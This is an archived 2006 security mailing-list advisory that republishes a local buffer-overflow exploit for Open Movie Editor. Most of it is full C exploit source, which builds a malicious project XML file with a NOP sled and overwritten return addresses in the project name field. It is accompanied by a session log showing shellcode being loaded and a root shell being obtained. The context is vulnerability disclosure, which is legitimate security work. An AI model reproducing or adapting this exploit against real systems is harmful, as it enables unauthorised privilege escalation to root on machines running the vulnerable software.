

[EXPL] openmovieeditor name Local Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-09/msg00007.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 11 Sep 2006 13:25:21 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

openmovieeditor name Local Buffer Overflow (Exploit)

SUMMARY

" <<http://openmovieeditor.sourceforge.net/>> Open Movie Editor is designed to be a simple tool, that provides basic movie making capabilities."

A buffer overflow is caused in openmovieeditor when an overly long project name is supplied in the project's XML.

DETAILS

Vulnerable Systems:

- * openmovieeditor versions 0.0.20060901 and prior.

Exploit:

- /*
- * openmovieeditor buffer overflow exploit
- * by qnix <[qnix\[at\]bsdmail\[dot\]org](mailto:qnix[at]bsdmail[dot]org)>
- *
- * Dont forget to change the return address (RETADDR)
- *
- *

[EXPL] openmovieeditor name Local Buffer Overflow (Exploit)

```
* -----
* devil: ~ \> envt/envt -s 2
* Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh,
NULL]) 37 bytes
* [+] Setting memory for the shellcode.
* [+] Copying shellcode to memory.
* [+] Putting shellcode in the environment.
* [+] Going into the environment (ENVT) and exiting ....
* Done 37 bytes loaded to (ENVT)
* devil: ~ \> envt/envt
* SHELLCODE FOUND IN 0xbffffbf5
* devil: ~ \> ./ome_buf
*
* *****
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
* Dont forget to change the return address
* *****
*
* Usage : ./ome_buf <filename> <openmovieeditor>
* devil: ~ \> ./ome_buf Video\ Projects\exploit.vproj
/usr/local/bin/openmovieeditor
*
* [+] Video Projects/exploit.vproj Created|Opened
* [~] Desired Return Addr : 0xbffffbf5
* [~] Offset from ESP : 0x0
* [+] Executing openmovieeditor
*
* sh-3.1# whoami;id
* root
* uid=0(root) gid=0(root) groups=0(root)
* sh-3.1# exit
* exit
*
* -----
*
* */
```

```
#include <stdio.h>
#include <stdlib.h>

#define RETADDR '\xbf\xff\fb\xf5'
#define SLEEP sleep(1);

int main(int argc,char *argv[]) {
FILE *output;

int i, offset;
long ret, *addr_ptr;
char *buffer, *ptr;
```

[EXPL] openmovieeditor name Local Buffer Overflow (Exploit)

```
offset = 0;
ret = RETADDR - offset;

if(argc != 3) {
fprintf(stderr, "\n*****\n");
fprintf(stderr, "openmovieeditor buffer overflow exploit\n");
fprintf(stderr, "by qnix < qnix[at]bsdmail[dot]org\n");
fprintf(stderr, "Dont forget to change the return address\n");
fprintf(stderr, "*****\n\n");

fprintf(stderr, "Usage : %s <filename> <openmovieeditor>\n", argv[0]);
return 0;
}

output = fopen(argv[1], "w+");

if(output == 0) {
fprintf(stderr, "\n[-] Cannot create %s\n", argv[1]);
SLEEP
return 0;
} else {
fprintf(stdout, "\n[+] %s Created|Opened\n", argv[1]);
SLEEP
}

fprintf(output, "<?xml version=\"1.0\" standalone=\"no\" ?>\n");
fprintf(output, "<open_movie_editor_project>\n");
fprintf(output, " <version>0.0.20060901</version>\n");

/* evil code ^_^ */
buffer = malloc(2300);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2300; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1040; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 1044;
buffer[2300-1] = 0;

fprintf(output, " <name>%s</name>\n", buffer);
fprintf(output, " <zoom value=\"1.000000\" />\n");
fprintf(output, " <scroll value=\"0\" />\n");
fprintf(output, " <stylus value=\"0\" />\n");
fprintf(output, " <video_tracks>\n");
fprintf(output, " <track />\n");
fprintf(output, " <track />\n");
fprintf(output, " </video_tracks>\n");
fprintf(output, " <audio_tracks>\n");
fprintf(output, " <track />\n");
fprintf(output, " <track />\n");
```

[EXPL] openmovieeditor name Local Buffer Overflow (Exploit)

```
fprintf(output," </audio_tracks>\n");
fprintf(output,"</open_movie_editor_project>\n");

fprintf(stdout,"[~] Desired Return Addr : 0x%x\n", ret);
SLEEP
fprintf(stdout,"[~] Offset from ESP : 0x%x\n", offset);
SLEEP

fprintf(stdout,"[+] Executing openmovieeditor\n\n");
fclose(output);
SLEEP

execl(argv[2],"openmovieeditor",0);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:qnix@xxxxxxxxxxxx>> qnix.
The original article can be found at:
<<http://www.milw0rm.com/exploits/2338>>
<http://www.milw0rm.com/exploits/2338>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.